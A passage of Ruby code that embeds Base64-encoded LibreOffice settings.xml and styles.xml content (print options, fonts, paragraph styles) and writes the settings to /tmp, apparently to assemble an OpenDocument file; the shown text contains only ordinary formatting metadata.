WctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJDdXJyZW50RGF0YWJhc2VDb21tYW5kVHlwZSIgY29uZmlnOnR5cGU9ImludCI+MDwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IlNhdmVWZXJzaW9uT25DbG9zZSIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPmZhbHNlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iVXBkYXRlRnJvbVRlbXBsYXRlIiBjb25maWc6dHlwZT0iYm9vbGVhbiI+dHJ1ZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IlByaW50U2luZ2xlSm9icyIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPmZhbHNlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iUHJpbnRlckluZGVwZW5kZW50TGF5b3V0IiBjb25maWc6dHlwZT0ic3RyaW5nIj5oaWdoLXJlc29sdXRpb248L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJFbWJlZFN5c3RlbUZvbnRzIiBjb25maWc6dHlwZT0iYm9vbGVhbiI+ZmFsc2U8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJEb05vdENhcHR1cmVEcmF3T2Jqc09uUGFnZSIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPmZhbHNlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iVXNlRm9ybWVyT2JqZWN0UG9zaXRpb25pbmciIGNvbmZpZzp0eXBlPSJib29sZWFuIj5mYWxzZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IklzTGFiZWxEb2N1bWVudCIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPmZhbHNlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iQWRkRnJhbWVPZmZzZXRzIiBjb25maWc6dHlwZT0iYm9vbGVhbiI+ZmFsc2U8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJBZGRFeHRlcm5hbExlYWRpbmciIGNvbmZpZzp0eXBlPSJib29sZWFuIj50cnVlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iVXNlT2xkTnVtYmVyaW5nIiBjb25maWc6dHlwZT0iYm9vbGVhbiI+ZmFsc2U8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJPdXRsaW5lTGV2ZWxZaWVsZHNOdW1iZXJpbmciIGNvbmZpZzp0eXBlPSJib29sZWFuIj5mYWxzZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IkRvTm90UmVzZXRQYXJhQXR0cnNGb3JOdW1Gb250IiBjb25maWc6dHlwZT0iYm9vbGVhbiI+ZmFsc2U8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJJZ25vcmVGaXJzdExpbmVJbmRlbnRJbk51bWJlcmluZyIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPmZhbHNlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iQWxsb3dQcmludEpvYkNhbmNlbCIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPnRydWU8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJVc2VGb3JtZXJMaW5lU3BhY2luZyIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPmZhbHNlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iQWRkUGFyYVNwYWNpbmdUb1RhYmxlQ2VsbHMiIGNvbmZpZzp0eXBlPSJib29sZWFuIj50cnVlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iVXNlRm9ybWVyVGV4dFdyYXBwaW5nIiBjb25maWc6dHlwZT0iYm9vbGVhbiI+ZmFsc2U8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJSZWRsaW5lUHJvdGVjdGlvbktleSIgY29uZmlnOnR5cGU9ImJhc2U2NEJpbmFyeSIvPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IkNvbnNpZGVyVGV4dFdyYXBPbk9ialBvcyIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPmZhbHNlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iRG9Ob3RKdXN0aWZ5TGluZXNXaXRoTWFudWFsQnJlYWsiIGNvbmZpZzp0eXBlPSJib29sZWFuIj5mYWxzZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IkVtYmVkRm9udHMiIGNvbmZpZzp0eXBlPSJib29sZWFuIj5mYWxzZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IlRhYmxlUm93S2VlcCIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPmZhbHNlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iVGFic1JlbGF0aXZlVG9JbmRlbnQiIGNvbmZpZzp0eXBlPSJib29sZWFuIj50cnVlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iSWdub3JlVGFic0FuZEJsYW5rc0ZvckxpbmVDYWxjdWxhdGlvbiIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPmZhbHNlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iUnNpZFJvb3QiIGNvbmZpZzp0eXBlPSJpbnQiPjEyNjg4Njk8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJMb2FkUmVhZG9ubHkiIGNvbmZpZzp0eXBlPSJib29sZWFuIj5mYWxzZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IkNsaXBBc0NoYXJhY3RlckFuY2hvcmVkV3JpdGVyRmx5RnJhbWVzIiBjb25maWc6dHlwZT0iYm9vbGVhbiI+ZmFsc2U8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJVbnhGb3JjZVplcm9FeHRMZWFkaW5nIiBjb25maWc6dHlwZT0iYm9vbGVhbiI+ZmFsc2U8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJVc2VPbGRQcmludGVyTWV0cmljcyIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPmZhbHNlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iVGFiQXRMZWZ0SW5kZW50Rm9yUGFyYWdyYXBoc0luTGlzdCIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPmZhbHNlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iUnNpZCIgY29uZmlnOnR5cGU9ImludCI+MTI2ODg2OTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9Ik1zV29yZENvbXBUcmFpbGluZ0JsYW5rcyIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPmZhbHNlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iTWF0aEJhc2VsaW5lQWxpZ25tZW50IiBjb25maWc6dHlwZT0iYm9vbGVhbiI+dHJ1ZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IkludmVydEJvcmRlclNwYWNpbmciIGNvbmZpZzp0eXBlPSJib29sZWFuIj5mYWxzZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IkNvbGxhcHNlRW1wdHlDZWxsUGFyYSIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPnRydWU8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJUYWJPdmVyZmxvdyIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPnRydWU8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJTdHlsZXNOb0RlZmF1bHQiIGNvbmZpZzp0eXBlPSJib29sZWFuIj5mYWxzZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IkNsaXBwZWRQaWN0dXJlcyIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPmZhbHNlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iVGFiT3Zlck1hcmdpbiIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPmZhbHNlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iVHJlYXRTaW5nbGVDb2x1bW5CcmVha0FzUGFnZUJyZWFrIiBjb25maWc6dHlwZT0iYm9vbGVhbiI+ZmFsc2U8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJBcHBseVBhcmFncmFwaE1hcmtGb3JtYXRUb051bWJlcmluZyIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPmZhbHNlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iUHJvcExpbmVTcGFjaW5nU2hyaW5rc0ZpcnN0TGluZSIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPnRydWU8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJTdWJ0cmFjdEZseXNBbmNob3JlZEF0Rmx5cyIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPmZhbHNlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iRGlzYWJsZU9mZlBhZ2VQb3NpdGlvbmluZyIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPmZhbHNlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iUHJpbnRBbm5vdGF0aW9uTW9kZSIgY29uZmlnOnR5cGU9InNob3J0Ij4wPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iUHJpbnRHcmFwaGljcyIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPnRydWU8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJQcmludEJsYWNrRm9udHMiIGNvbmZpZzp0eXBlPSJib29sZWFuIj5mYWxzZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IlByaW50UHJvc3BlY3QiIGNvbmZpZzp0eXBlPSJib29sZWFuIj5mYWxzZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IlByaW50TGVmdFBhZ2VzIiBjb25maWc6dHlwZT0iYm9vbGVhbiI+dHJ1ZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IlByaW50Q29udHJvbHMiIGNvbmZpZzp0eXBlPSJib29sZWFuIj50cnVlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iUHJpbnRQYWdlQmFja2dyb3VuZCIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPnRydWU8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJQcmludFRleHRQbGFjZWhvbGRlciIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPmZhbHNlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iUHJpbnREcmF3aW5ncyIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPnRydWU8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJQcmludEhpZGRlblRleHQiIGNvbmZpZzp0eXBlPSJib29sZWFuIj5mYWxzZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IlByaW50VGFibGVzIiBjb25maWc6dHlwZT0iYm9vbGVhbiI+dHJ1ZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IlByaW50UHJvc3BlY3RSVEwiIGNvbmZpZzp0eXBlPSJib29sZWFuIj5mYWxzZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IlByaW50UmV2ZXJzZWQiIGNvbmZpZzp0eXBlPSJib29sZWFuIj5mYWxzZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IlByaW50UmlnaHRQYWdlcyIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPnRydWU8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJQcmludEZheE5hbWUiIGNvbmZpZzp0eXBlPSJzdHJpbmciLz48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJQcmludFBhcGVyRnJvbVNldHVwIiBjb25maWc6dHlwZT0iYm9vbGVhbiI+ZmFsc2U8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJQcmludEVtcHR5UGFnZXMiIGNvbmZpZzp0eXBlPSJib29sZWFuIj5mYWxzZTwvY29uZmlnOmNvbmZpZy1pdGVtPjwvY29uZmlnOmNvbmZpZy1pdGVtLXNldD48L29mZmljZTpzZXR0aW5ncz48L29mZmljZTpkb2N1bWVudC1zZXR0aW5ncz4="
      #Write settings.xml out to disk
      open('/tmp/settings.xml', 'w') { |f|
        f.puts (Base64.decode64(settings))
        f.close
      }

      styles="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjxvZmZpY2U6ZG9jdW1lbnQtc3R5bGVzIHhtbG5zOm9mZmljZT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpvZmZpY2U6MS4wIiB4bWxuczpzdHlsZT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpzdHlsZToxLjAiIHhtbG5zOnRleHQ9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6dGV4dDoxLjAiIHhtbG5zOnRhYmxlPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnRhYmxlOjEuMCIgeG1sbnM6ZHJhdz0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpkcmF3aW5nOjEuMCIgeG1sbnM6Zm89InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6eHNsLWZvLWNvbXBhdGlibGU6MS4wIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgeG1sbnM6ZGM9Imh0dHA6Ly9wdXJsLm9yZy9kYy9lbGVtZW50cy8xLjEvIiB4bWxuczptZXRhPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOm1ldGE6MS4wIiB4bWxuczpudW1iZXI9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6ZGF0YXN0eWxlOjEuMCIgeG1sbnM6c3ZnPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnN2Zy1jb21wYXRpYmxlOjEuMCIgeG1sbnM6Y2hhcnQ9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6Y2hhcnQ6MS4wIiB4bWxuczpkcjNkPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmRyM2Q6MS4wIiB4bWxuczptYXRoPSJodHRwOi8vd3d3LnczLm9yZy8xOTk4L01hdGgvTWF0aE1MIiB4bWxuczpmb3JtPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmZvcm06MS4wIiB4bWxuczpzY3JpcHQ9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6c2NyaXB0OjEuMCIgeG1sbnM6b29vPSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAwNC9vZmZpY2UiIHhtbG5zOm9vb3c9Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA0L3dyaXRlciIgeG1sbnM6b29vYz0iaHR0cDovL29wZW5vZmZpY2Uub3JnLzIwMDQvY2FsYyIgeG1sbnM6ZG9tPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL3htbC1ldmVudHMiIHhtbG5zOnJwdD0iaHR0cDovL29wZW5vZmZpY2Uub3JnLzIwMDUvcmVwb3J0IiB4bWxuczpvZj0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpvZjoxLjIiIHhtbG5zOnhodG1sPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiB4bWxuczpncmRkbD0iaHR0cDovL3d3dy53My5vcmcvMjAwMy9nL2RhdGEtdmlldyMiIHhtbG5zOnRhYmxlb29vPSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAwOS90YWJsZSIgeG1sbnM6dGV4dG9vbz0iaHR0cDovL29wZW5vZmZpY2Uub3JnLzIwMTMvb2ZmaWNlIiBvZmZpY2U6dmVyc2lvbj0iMS4yIj48b2ZmaWNlOmZvbnQtZmFjZS1kZWNscz48c3R5bGU6Zm9udC1mYWNlIHN0eWxlOm5hbWU9Ik1hbmdhbDEiIHN2Zzpmb250LWZhbWlseT0iTWFuZ2FsIi8+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJUaW1lcyBOZXcgUm9tYW4iIHN2Zzpmb250LWZhbWlseT0iJmFwb3M7VGltZXMgTmV3IFJvbWFuJmFwb3M7IiBzdHlsZTpmb250LWZhbWlseS1nZW5lcmljPSJyb21hbiIgc3R5bGU6Zm9udC1waXRjaD0idmFyaWFibGUiLz48c3R5bGU6Zm9udC1mYWNlIHN0eWxlOm5hbWU9IkFyaWFsIiBzdmc6Zm9udC1mYW1pbHk9IkFyaWFsIiBzdHlsZTpmb250LWZhbWlseS1nZW5lcmljPSJzd2lzcyIgc3R5bGU6Zm9udC1waXRjaD0idmFyaWFibGUiLz48c3R5bGU6Zm9udC1mYWNlIHN0eWxlOm5hbWU9Ik1hbmdhbCIgc3ZnOmZvbnQtZmFtaWx5PSJNYW5nYWwiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InN5c3RlbSIgc3R5bGU6Zm9udC1waXRjaD0idmFyaWFibGUiLz48c3R5bGU6Zm9udC1mYWNlIHN0eWxlOm5hbWU9Ik1pY3Jvc29mdCBZYUhlaSIgc3ZnOmZvbnQtZmFtaWx5PSImYXBvcztNaWNyb3NvZnQgWWFIZWkmYXBvczsiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InN5c3RlbSIgc3R5bGU6Zm9udC1waXRjaD0idmFyaWFibGUiLz48c3R5bGU6Zm9udC1mYWNlIHN0eWxlOm5hbWU9IlNpbVN1biIgc3ZnOmZvbnQtZmFtaWx5PSJTaW1TdW4iIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InN5c3RlbSIgc3R5bGU6Zm9udC1waXRjaD0idmFyaWFibGUiLz48L29mZmljZTpmb250LWZhY2UtZGVjbHM+PG9mZmljZTpzdHlsZXM+PHN0eWxlOmRlZmF1bHQtc3R5bGUgc3R5bGU6ZmFtaWx5PSJncmFwaGljIj48c3R5bGU6Z3JhcGhpYy1wcm9wZXJ0aWVzIGZvOndyYXAtb3B0aW9uPSJuby13cmFwIiBkcmF3OnNoYWRvdy1vZmZzZXQteD0iMC4xMTgxaW4iIGRyYXc6c2hhZG93LW9mZnNldC15PSIwLjExODFpbiIgZHJhdzpzdGFydC1saW5lLXNwYWNpbmctaG9yaXpvbnRhbD0iMC4xMTE0aW4iIGRyYXc6c3RhcnQtbGluZS1zcGFjaW5nLXZlcnRpY2FsPSIwLjExMTRpbiIgZHJhdzplbmQtbGluZS1zcGFjaW5nLWhvcml6b250YWw9IjAuMTExNGluIiBkcmF3OmVuZC1saW5lLXNwYWNpbmctdmVydGljYWw9IjAuMTExNGluIiBzdHlsZTpmbG93LXdpdGgtdGV4dD0iZmFsc2UiLz48c3R5bGU6cGFyYWdyYXBoLXByb3BlcnRpZXMgc3R5bGU6dGV4dC1hdXRvc3BhY2U9ImlkZW9ncmFwaC1hbHBoYSIgc3R5bGU6bGluZS1icmVhaz0ic3RyaWN0IiBzdHlsZTp3cml0aW5nLW1vZGU9ImxyLXRiIiBzdHlsZTpmb250LWluZGVwZW5kZW50LWxpbmUtc3BhY2luZz0iZmFsc2UiPjxzdHlsZTp0YWItc3RvcHMvPjwvc3R5bGU6cGFyYWdyYXBoLXByb3BlcnRpZXM+PHN0eWxlOnRleHQtcHJvcGVydGllcyBzdHlsZTp1c2Utd2luZG93LWZvbnQtY29sb3I9InRydWUiIGZvOmZvbnQtc2l6ZT0iMTJwdCIgZm86bGFuZ3VhZ2U9ImVuIiBmbzpjb3VudHJ5PSJVUyIgc3R5bGU6bGV0dGVyLWtlcm5pbmc9InRydWUiIHN0eWxlOmZvbnQtc2l6ZS1hc2lhbj0iMTJwdCIgc3R5bGU6bGFuZ3VhZ2UtYXNpYW49InpoIiBzdHlsZTpjb3VudHJ5LWFzaWFuPSJDTiIgc3R5bGU6Zm9udC1zaXplLWNvbXBsZXg9IjEycHQiIHN0eWxlOmxhbmd1YWdlLWNvbXBsZXg9ImhpIiBzdHlsZTpjb3VudHJ5LWNvbXBsZXg9IklOIi8+PC9zdHlsZTpkZWZhdWx0LXN0eWxlPjxzdHlsZTpkZWZhdWx0LXN0eWxlIHN0eWxlOmZhbWlseT0icGFyYWdyYXBoIj48c3R5bGU6cGFyYWdyYXBoLXByb3BlcnRpZXMgZm86aHlwaGVuYXRpb24tbGFkZGVyLWNvdW50PSJuby1saW1pdCIgc3R5bGU6dGV4dC1hdXRvc3BhY2U9ImlkZW9ncmFwaC1hbHBoYSIgc3R5bGU6cHVuY3R1YXRpb24td3JhcD0iaGFuZ2luZyIgc3R5bGU6bGluZS1icmVhaz0ic3RyaWN0IiBzdHlsZTp0YWItc3RvcC1kaXN0YW5jZT0iMC40OTI1aW4iIHN0eWxlOndyaXRpbmctbW9kZT0icGFnZSIvPjxzdHlsZTp0ZXh0LXByb3BlcnRpZXMgc3R5bGU6dXNlLXdpbmRvdy1mb250LWNvbG9yPSJ0cnVlIiBzdHlsZTpmb250LW5hbWU9IlRpbWVzIE5ldyBSb21hbiIgZm86Zm9udC1zaXplPSIxMnB0IiBmbzpsYW5ndWFnZT0iZW4iIGZvOmNvdW50cnk9IlVTIiBzdHlsZTpsZXR0ZXIta2VybmluZz0idHJ1ZSIgc3R5bGU6Zm9udC1uYW1lLWFzaWFuPSJTaW1TdW4iIHN0eWxlOmZvbnQtc2l6ZS1hc2lhbj0iMTJwdCIgc3R5bGU6bGFuZ3VhZ2UtYXNpYW49InpoIiBzdHlsZTpjb3VudHJ5LWFzaWFuPSJDTiIgc3R5bGU6Zm9udC1uYW1lLWNvbXBsZXg9Ik1hbmdhbCIgc3R5bGU6Zm9udC1zaXplLWNvbXBsZXg9IjEycHQiIHN0eWxlOmxhbmd1YWdlLWNvbXBsZXg9ImhpIiBzdHlsZTpjb3VudHJ5LWNvbXBsZXg9IklOIiBmbzpoeXBoZW5hdGU9ImZhbHNlIiBmbzpoeXBoZW5hdGlvbi1yZW1haW4tY2hhci1jb3VudD0iMiIgZm86aHlwaGVuYXRpb24tcHVzaC1jaGFyLWNvdW50PSIyIi8+PC9zdHlsZTpkZWZhdWx0LXN0eWxlPjxzdHlsZTpkZWZhdWx0LXN0eWxlIHN0eWxlOmZhbWlseT0idGFibGUiPjxzdHlsZTp0YWJsZS1wcm9wZXJ0aWVzIHRhYmxlOmJvcmRlci1tb2RlbD0iY29sbGFwc2luZyIvPjwvc3R5bGU6ZGVmYXVsdC1zdHlsZT48c3R5bGU6ZGVmYXVsdC1zdHlsZSBzdHlsZTpmYW1pbHk9InRhYmxlLXJvdyI+PHN0eWxlOnRhYmxlLXJvdy1wcm9wZXJ0aWVzIGZvOmtlZXAtdG9nZXRoZXI9ImF1dG8iLz48L3N0eWxlOmRlZmF1bHQtc3R5bGU+PHN0eWxlOnN0eWxlIHN0eWxlOm5hbWU9IlN0YW5kYXJkIiBzdHlsZTpmYW1pbHk9InBhcmFncmFwaCIgc3R5bGU6Y2xhc3M9InRleHQiLz48c3R5bGU6c3R5bGUgc3R5bGU6bmFtZT0iSGVhZGluZyIgc3R5bGU6ZmFtaWx5PSJwYXJhZ3JhcGgiIHN0eWxlOnBhcmVudC1zdHlsZS1uYW1lPSJTdGFuZGFyZCIgc3R5bGU6bmV4dC1zdHlsZS1uYW1lPSJUZXh0XzIwX2JvZHkiIHN0eWxlOmNsYXNzPSJ0ZXh0Ij48c3R5bGU6cGFyYWdyYXBoLXByb3BlcnRpZXMgZm86bWFyZ2luLXRvcD0iMC4xNjY1aW4iIGZvOm1hcmdpbi1ib3R0b209IjAuMDgzNWluIiBmbzprZWVwLXdpdGgtbmV4dD0iYWx3YXlzIi8+PHN0eWxlOnRleHQtcHJvcGVydGllcyBzdHlsZTpmb250LW5hbWU9IkFyaWFsIiBmbzpmb250LXNpemU9IjE0cHQiIHN0eWxlOmZvbnQtbmFtZS1hc2lhbj0iTWljcm9zb2Z0IFlhSGVpIiBzdHlsZTpmb250LXNpemUtYXNpYW49IjE0cHQiIHN0eWxlOmZvbnQtbmFtZS1jb21wbGV4PSJNYW5nYWwiIHN0eWxlOmZvbnQtc2l6ZS1jb21wbGV4PSIxNHB0Ii8+PC9zdHlsZTpzdHlsZT48c3R5bGU6c3R5bGUgc3R5bGU6bmFtZT0iVGV4dF8yMF9ib2R5IiBzdHlsZTpkaXNwbGF5LW5hbWU9IlRleHQgYm9keSIgc3R5bGU6ZmFtaWx5PSJwYXJhZ3JhcGgiIHN0eWxlOnBhcmVudC1zdHlsZS1uYW1lPSJTdGFuZGFyZCIgc3R5bGU6Y2xhc3M9InRleHQiPjxzdHlsZTpwYXJhZ3JhcGgtcHJvcGVydGllcyBmbzptYXJnaW4tdG9wPSIwaW4iIGZvOm1hcmdpbi1ib3R0b209IjAuMDgzNWluIi8+PC9zdHlsZTpzdHlsZT48c3R5bGU6c3R5bGUgc3R5bGU6bmFtZT0iTGlzdCIgc3R5bGU6ZmFtaWx5PSJwYXJhZ3JhcGgiIHN0eWxlOnBhcmVudC1zdHlsZS1uYW1lPSJUZXh0XzIwX2JvZHkiIHN0eWxlOmNsYXNzPSJsaXN0Ij48c3R5bGU6dGV4dC1wcm9wZXJ0aWVzIHN0eWxlOmZvbnQtbmFtZS1jb21wbGV4PSJNYW5nYWwxIi8+PC9